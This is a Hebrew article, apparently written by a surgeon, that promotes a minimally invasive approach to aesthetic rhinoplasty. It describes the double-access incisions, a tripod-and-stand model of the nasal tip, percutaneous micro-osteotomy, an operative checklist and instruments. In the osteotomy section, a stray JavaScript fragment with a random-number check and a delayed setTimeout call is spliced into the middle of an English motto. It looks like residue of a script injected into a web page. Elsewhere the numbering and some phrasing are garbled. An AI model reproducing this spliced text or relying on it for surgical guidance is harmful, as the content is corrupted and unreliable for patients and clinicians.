מדובר במגוון חידושים שונים שחיבורם יחד יוצר מהפכה קטנה שטרם הוכרזה. בהיקש להתפתחות החדשה של יתר ענפי הכירורגיה, נקרה לה Minimal Invasive Rhinoplasy, או MIR.

הלוגיקה המינימלית הפולשנית שאנו מציעים ברינופלסטיקה האסתטית היא פרדיגמה חדשה הפונה לאלגוריתמים שמרניים יותר ולסביבה אינסטרומנטלית מותאמת היטב. החידוש, אשר יעיל בעבור כמעט כל השינויים הרצויים, מספיקה כדי לנהל מעל ל-90 אחוזים מהמקרים.

היא אינה מקיזה דם, בעיקר בחיתוך העצמות הצדדי. על כן, היא אינה דורשת ספיגה, פוטרת אותנו משטפי דם סביב העיניים ומפחיתה את הצורך בהימנעות מפעילות חברתית.

מאחר שזוהי גישה חדשה, אין לבחון אותה בצורה ממצה במאמר אחד, אך אנו נסכם את הנקודות העיקריות בנוגע:

1. לקונספטים הנוגעים בדבר

2. לגישה הכפולה

3. למיקרו-חתכים התת-עוריים

3. לצ’ק-ליסט ניתוחי קל

5. לציוד המתאים

I. היסטוריה וקונספטים שנוגעים בדבר

א. קונספת ה-Minimal invasive

– מבחינה היסטורית, זהו חידוש בתחום בסיס הגולגולת. רופאי אאג, כגון וויליאם האוס, הציעו את הגישה הטרנס-לבירינתית בכדי למזער את הנזקים בנירוכירורגיה של הנירונומה. קונספט זה התרחב לכירורגה הטרנס-ספנואידלית של יותרת המוח דרך האף.

לאחר מכן, הסליוכירורגיה, הארתרוסקופיה והרדיולוגיה עברו את אותה מהפכה.

-בכל הדוגמאות הנ”ל, הפלישה המינימלית היא דרך כניסה מוקטנת, כי דרך הכניסה עצמה היא המזיקה ולא היעד הכירורגי. צמצום גודל הכניסה עד לכדי גודל של נקודה הוא מזעור של הפלישה.

-ברינופלסטיקה, הגישה הזאת שלטה, באופן מודע או לא, במשך עשרות שנים. כל, הפלישה התוך-אפית הטהורה, השיטה הסגורה, השתלטה.

-השיטה הפתוחה הפכה נחוצה לתיקון אף בעל סטייה מובהקת, ותפסה תאוצה לשליטה גדולה יותר בניתוח הקצה, בין היתר למיקום טוב יותר של התפרים והשתלים. חשבו שזוהי שיטה פולשנית יותר, אך זהו המחיר שיש לשלם בעבור תוצאה טובה יותר.

-שנות ניסיון רבות הוכיחו פרדוקס הפוך ברינופלסטיקה אסתטית. האגרסיביות והפולשניות אינן קשורות לצרות דרך הגישה, אלא לתנועות עיוורות: חיתוך הריריות, קריעת נימים, מיקום בלתי נשלט של הסחוסים והעצמות.

-לסיכום, הדבר הפולשני יותר הוא לא החתך בקולומלה, שלרוב הינו בלתי נראה, אלא שטפי הדם המפחידים סביב העיניים, שמתפשטים לעבר הלחיים, ושטפי הדם מתחת לעיניים שמזריקים דם לעיניים. האופי הפולשני המינימלי יושג כאן באמצעות כל הדרכים שיתרמו להפחתת הדימום תוך שמירה על שלמות המבנים האנטומיים.

ב. קונספט החצובה והמעמד

-לסיכום הקונספט, נאמר שהוא משווה את הקצה הסחוסי שמורכב מהכנפיים לחתובה שעומדת על מעמד, המחיצה. כל שינוי כללי שיתבצע על הקצה, הארכה, פיתול, משיכה, הוא תוצאה של פעולה שמבוצעת על החצובה, על המעמד ועל החדרת החצובה לתוך המעמד.

-הנפקות המעשית של הקונספט לא הוערך כראוי למשך זמן רב. הוא נחשב לדימוי למטרות חינוכיות, משום שהיה קשה לבצע שינוי דרסטי בהחדרת החצובה במחיצה.

-הקונספט זוכה לתאוצה מחודשת בשיטה שמאפשרת לנו לשנות כרצוננו את שני המבנים, ובעיקר לחבר אותם זה לזה.

זה מה שקורה בדרך הכניסה הכפולה שתפורט בהמשך, כי:

היא מפרידה לחלוטין את החצובה מהמעמד ומעניקה להם עצמאות אנטומית שלמה.

היא מאפשרת עבודה נפרדת על כל אחד מהם.

בנוסף, היא מאפשרת מיקום מחדש של האחד כלפי השני ללא הקרבת סחוס שתגביל את האפשרויות בעתיד.

-יישום שלם של הקונספט תורם לגישת הפלישה המינימלית. כל מה שיתקבל בעזרת החדרה שונה של החצובה יסייע לנו להיות שמרנים כלפי סחוסי הקצה.

II. הכניסה הכפולה

-השיטה הפתוחה הקלסית הינה רק ציר עליון.

-כניסה כפולה, עם הציר התחתון שמיוצג באמצעות המבנה המחיצה והקולומלה, היא התקדמות נוספת משום שהיא מאפשרת חשיפה כמעט מלאה של כל התשתיות האנטומיות.

-כניסה כפולה מפרידה את החצובה מהמעמד ומאפשרת חשיפה טובה של כל הרמות.

א. תיאור החתכים

1. חתך הקולומלה

זוהי הגישה הפתוחה הקלסית שמאפשרת הרמת הכיסוי העורי.

א. V בעלת חוד נטוי

-בניגוד לפרקטיקה המקובלת של ה-V ההפוכה, החתך הזה יעניק לבשר מראה כללי של חדק פיל, תוך צמצום הסיכון לאיסכמיה עורית.

-לשם כך, מציירים בטוש סטרילי בקווקווים צלב אנכי הממוקד בנקודה התת-אפית, כנקודת ציון הנמוכה ביותר של קצה האף.

-שלוש צלקות שטחיות אנכיות, בגב האזמל, ישמשו בהמשך לחידוד דיוק הסגירה.

-בשלב הזה, חותכים רק את העור וחסים על העורק והווריד בקולומלה.

ב. החתך התת-סחוסי

-קרס כפול מוחדר במשולש הרך של קונברס, הקמיצה תבליט את הגבול התחתון של המקטע הצדדי.

-החתך יתבצע לאורך הדופן החיצונית של הסחוס עד לסיבוב בזווית חדה מהקצה.

ג. חתך שולי

בסיבוב זה, יש להקפיד להישאר במרחק של כשני מילימטרים מהעור כדי לחבור ל-V העורית בעלת החוד הנטוי.

2. הדרך הטרנס-מחיצתית המורחבת

זוהי הדרך התוך-אפית הקלסית שמאפשרת, תוך קיפול הקצה המשוחרר, לחשוף את תחתית המחיצה, השליש העליון של האף, ואפילו השורש.

א. החתך הפנים-סחוסי

זהו שלב חשוב, הן בפתיחה והן בסגירה, משום שזהו השסתום האפי הפנימי החשוב להמשך התפקוד.

ב. החתך הפנים-מחיצתי-קולומלרי

הוא יכול לקבע מראש או במהשך, ובשני המקרים, נותרת אפשרות לניתוק מחיצתי חד-צדדי.

ג. הרחבה בתחתית המחיצה

חשיפת עצם האף חשובה בשתי נסיבות:

-כריתה בצבת לצמצום זווית אף-שפה קהה מדי.

-תפר לתיקון סטייה מחיצתית קודמת.

ב. כניסה כפולה מאפשרת חשיפה אנטומית טובה יותר

1. בגב האף, היא מאפשרת:

-כריתה של הבליטה כשהיא חשופה לגמרי.

-תיקון חיבור מעוות לעצם הכברה תוך גרימת שבר חלקי והחזרתו בהתאם לצורך.

-תפר שיטתי של המשולשים, המבטיח הגנה מפני קריסה מאוחרת בצורת V הפוכה.

-חשפיה טובה יותר לתפירת “spreader grafts” אפשריים, בין היתר ליישור סטייה או להרחבת עצם אף צרה מדי.

2. בשורש, היא מאפשרת:

-קדימה של אי-דיוקים שנגרמו כתוצאה מחיתוך העצם

-חיתוך עצמות מרכזיות בחשיפה מוחלטת

-במידת הצורך, השתלת עצמות הצד על עצמות המרכז במקרה של מחסור

3. במחיצה, היא מאפשרת:

א. חיתוך נוח יותר בעת נטילת השתל

-כך, ניתוק הרירית שעלול ליצור קרעים אם מתחילים אותו מהחלק התחתון דרך תעלה, יתאפשר לביצוע אחורני תוך פיקוח ויכולת שחזור מדהימה.

-ברמת הזווית הקדמית-מחיצתית שתופסים בקרס, חותכים באזמל את הרירית השטחית וממשיכים לנתק עד לחיבור הכברה.

-מבצעים פנייה ב-90 מעלות בכלי הניתוק עד שמגיעים לחיבור הכברתי-אפי האחורי.

-יתר הרירית מתנתקת בקלות ללא קרע, בתנועה קלה של מכשיר הניתוק קדימה.

ב. דגימת השתל מתבצע באופן קלסי בניתוק הדופן הרירית השנייה, תוך השארת רצועת סחוס מחיצתי בעובי של 15 מ”מ לפחות.

4. במבנים השכנים:

הכניסה הכפולה מאפשרת חשיפה טובה יותר.

א. ניתן לגשת לחלל האף באמצעות ספקולום כדי לשחוק את העצם ולקבל מבנה דמוי-מקור אחורי בולט או מוגדל.

ב. הקונכייה התחתונה, במידת הצורך, יכולה להתקרש או לעבור כריתה חלקיק ללא דימום.

ג. כניסה כפולה מפרידה את החצובה מהמעמד

היא מאפשרת מיקום מחדש באופן חופשי, היא משפיעה בצורה ניכרת על שלושת ממדי הקצה: המשיכה, הפיתול וההארכה.

1. על המעמד

-כריתה חלקית של המחיצה מאפשרת קיצור של האף או שינוי הפיתול

-השתלות מחיצתיות בחלק התחתון יכולות להאריך אף בעל מראה קצר

2. מיקום ביחס לשני המבנים הוא אבן הפינה של השיטה

-כל פעולה על אחת משלוש רגלי החצובה מספיקים בכדי לגייס את כל המכלול, כל עוד הרגל הזו היא החזקה ביותר.

-משיכה או נסיגה יתקבלו תוך הזזת נקודת העיגון המקורי של הקצה במחיצה.

-באותו אופן, פיתול עם פתיחת זווית האף-שפה יתקבל בקלות אם תופרים אחורה יותר את קודקוד החצובה מבלי לשנות את החדרתה באזור עצם האף.

3. על החצובה

באותו אופן, מתחילים לחזק באמצעות זיז מורכב מאוד בקולומלה, נקודת המשען הקדמית שממנה נוכל ליצור את כל התנועות, אף הקיצוניות ביותר, ללא עיוות בלתי רצוי.

-כל השינויים הנוגעים לשלמות הסחוסים בכנפיים יכולו להיות ממוזערים או להתבטל לחלוטים לטובת שלמות אנטומית.

-זה מה שיקרה בקיטוע או בצילוק של קצה האף, בקיצור של המקטעים הצדדיים או האמצעיים שהופכים מיותר מהרגע שמיקומם המחודש במעמד פותר את הבעיות הללו.

-נותר רק צורך בתפרים ובשתלים על מנת לשנות את צורת החצובה: תפר לאיחוי קצה האף, לשם חידודו. תפר המקטעים הצדדיים על מנת להקטין את הקימור המוגזם. זה ה-Spanning suture שיש להשתמש בו במשנה זהירות, משום שהשפעתו רבה. השתלת “שין” בצורת מגן, שהשפעתה פחות נחוצה, ושאין להמעיט בחשיבות ההשפעה על ההארכה.

III. מיקרו-אוסטאוטומיה צדדית

א. ההבנה

ניתן לסכמה באמרה: “העצם הנכונה ורק העצם”, The right bone, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and only the bone. שלושה מושגים אנטומיים מאפשרית את ההבנה של הנחיצות במיקרו-אוסטאוטומיה הצדדית: וסקולריזציה, אזורי התנגדות, טופוגרפיה של הנקב דמוי האגס.

1. וסקולריזציה

-באופן כללי, עורקים זוויתיים ודורסליים של האף יוצרים מערכת אנסטומוטית שחולשת על כל שטח הפירמידה העצמית.

-כך, כל חיתוך עצמות לפי מסלול החיתוך הצדדי יקרע בהכרח עורק אחד או יותר שיוצרים את הרשת ההדוקה הזאת.

-דרך חכמה לפתור את הבעיה היא ויתור על חיתוך העצם והחלפתו ברצף של מיקרו-חירור.

-כך מתקבל, בדומה לשבר חלקי מבוקר, הקיבוע הרצוי תוך שימור החיבור לחלקים הרכים: עורקים, ורידים וריריות.

2. אזורי ההתנגדות והחולשה:

-הארת גולגולת יבשה (טרנסאילומינציה), שיטה שניתנת ליישום גם תוך כדי הניתוח באמצעות מקור אור, מגלה אזור חולשה ושני אזורי התנגדות.

-אזור החולשה, השקוף יותר בטרנסאילומינציה, ממוקם במחצית המסלול. ברמה זו, נקישות עדינות בפינת כלי החיתוך בעובי 2 מ”מ יספיקו להכנת השבר.

-לעומת זאת, באזור גב האף העצמי, נמצא אזור עמיד יותר שיש להכריע. שימורו עלול לגרום לשב במקום הלא נכון, עם דופן עצמית חלקית וקיבוע לא שלם.

-עם זאת, באזור הנקב דמוי האגס, ישנה התגרמות צפופה שאין שום צורך להילחם בה כפי שנראה.

3. טופוגרפיה של הנקב דמוי האגס מראה כי:

-אזור זה למעשה מנותק מהכיסוי העצמי של פירמידת האף, וחיתוכו אינו תורם כל כך לקיבוע המיוחל.

-אזור זה, על אף היותו עמיד ביותר, נפרש על פני שטח מצומצם שפעולת חיתוך העצם יכולה להחליק עליו.

-ולבסוף, שם יש הסיכון הגבוה ביותר לקרוע את הקטע הראשי של העורק.

4. בפרקטיקה, המיקרו-אוסטאוטומיה היא תוך-עורית:

-את נקודת חיבור הגבות ניתן לאתר בהצטלבות שבין שורש האף לבין הקו המחבר של זוויות העין הפנימיות. מציירים בקווקוו את העקומה של חיתוך העצם מלמטה למעלה, שתצא מהנקודה הזו ותגיע לנקב באזור הקמט האף-סנטרי.

-באמצע הקו, נחדיר דרך האור כלי חיתוך חד בעובי 2 מ”מ.

-דרך מסלול תת-עורי שטחי, נכוון את חוד הכלי לעבר חיבור הגבות, ומחזירים אותו בהתאם לקווקוו, תוך שמירה קפדנית על מגע עם העצם.

-התנועה הזאת, דרך חתך עורי זעיר ויחיד, ותוך דחיקת העורק והסתעפויותיו אחורה, מאפשר חירורים זעירים ללא דימום לאורך כל המסלול המצויר.

-מחקרים על אוכלוסייה גדולה הראו כי לא נותר סימן על העור כעבור שישה שבועות.

ב. כנגד אוסטאוטומיה צדדית קלסית

1. טיעונים רבים גורמים לנו לנטוש אותה

-היא פוגמת ברירית, בעיקר אם התבצע קודם ניתוק באמצעות משוף.

-היא מחליקה לאורך מסלול הנקב ללא תרומה ממשית לקיבוע העצם.

-היא גורמת לשטפי דם רבים משום שהיא הורסת את העורק ונימים רבים.

-היא מתבצעת לרוב בסוף ההליך, בעוד ששלבים רבים צריכים להילקח בחשבון בהתאם לאנטומיה החדשה שנוצרה.

2. תזכורת

היא מתבצעת באמצעות פצירת Aufrucht בתעלה תת-עורית שיוצרה בעזרת משוף.

-היא מתחילה בנקודת חדירה תוך-אפית שנמצאת תחת הקונכיה התחתונה.

-היא ממשיכה בסיבוב תוך מישוש מתמיד של התבליט התת-עורית של הפצירה.

-מעבר לדימום שגורם לאי-נוחות ולהחלקות באזור הנקב, שיטה זו מתקשה לחתוך את החיבור העצמי באזור גב האף, בשל המרחק שלו. עם זאת, היא חיונית לביצוע השבר הפנימי.

IV. צ’ק-ליסט קל

-הוא תורם בצורה ניכרת לאופי הממוזער של הפלישה בכך שהיא מונעת מצב שבו יישכח דבר-מה חשוב. הוא מונע תופעות לוואי בלתי רצויות וסיבוכים משניים.

-בכך שנשמר סדר פעולות שיטתי ומוקפד ברצף הזמנים לאורך הניתוח, תנועות ו”מלכודות” שחוששים במפניהן הופכות להיות קלות ומתבצעות בנוחות רבה.

1. לדוגמה, בפתיחה:

-דגימת הדופן קלה מאוד כשמבצעים אותה לאחר כריתת הבליטה ואחורנית מהכברה אל עצם האף. קשה יותר, ועולה הסיכון לקרע ברירית, לבצע זאת בסוף תעלה בסדר ההפוך.

-הגישה לחלל האף ולזנב הקונכיה קלה יותר לאחר דגימת הדופן.

2. לדוגמה, בסגירה:

-אימוץ רעיון הצ’ק-ליסט ברצף התפרים העוריים-ריריים מאפשר מניעת דילוג על שלבים, ביצוע תפרים במתח, עיוות סחוס, התהפכות ריריות ושטפי דם נצברים.

-כך, למשל, התפר הראשון של החתך הטרנס-מחיצתי בחוט נמס תורם לחיזק הסימטריזציה של המבנה. הסגירה האחרונה של החתך הסחוסי (שסתום פנימי) מאפשר, ברגע שכל המבנים במקומם, להבחין עודף רירי, ובמידת הצורך לכרות מחדש, שהרי זהו המקור לגרנולומה.

V. הציוד

א. ציוד מומלץ

1. משקפיים מגדילים ומאירים (STORZ)

הם מהווים התקדמות משמעותית לשיפור הדיוק בהליכים מסוימים, למשל תפרים סחוסיים ועוריים בחוט 5/0 או 6/0. לגבי השאר, ניתן להשתמש בשתי מנורות קלות בעלות ידית סטרילית.

2. מחטים ייעודיות

-בעלות חוד המתאים לסחוס

-ישרות וקצרות לשימוש נוח

-מעוקלות וקטנות לעור ולרירית

3. כלי חיתוך קלים יותר לתפעול (TEBBETT)

לסיכום

אל מול הצעות מבטיחות רבות כל כך, ניתן לתהות באופן לגיטימי באשר לתרומתן הממשית.

האם מדובר באופנה חולפת שתיעלם במהרה או בחידושים משמעותיים באמת?

קשה לשנות הרגלים ולהחליף את הציוד, בעיקר אם איננו משוכנעים מכך שההחלטה תניב את פירותיה. האם יש להתאמץ לשם ההתאמה?

כן, אך כיצד ניתן למדוד אם המאמץ תואם לשיפור הרצוי?

באופן איסטינקטיבי, אנו בוחרים לחקור ולנסות שוב ושוב, כדי להעצים את עצמנו ברמה האישית, וגם כדי לשרת את קהל המטופלים שבוטח בנו.

אם ה-Minimal Invasive Rhinoplasty החדשה גם Maximal Effective, חבל לנו לא להתמסר לה באמת.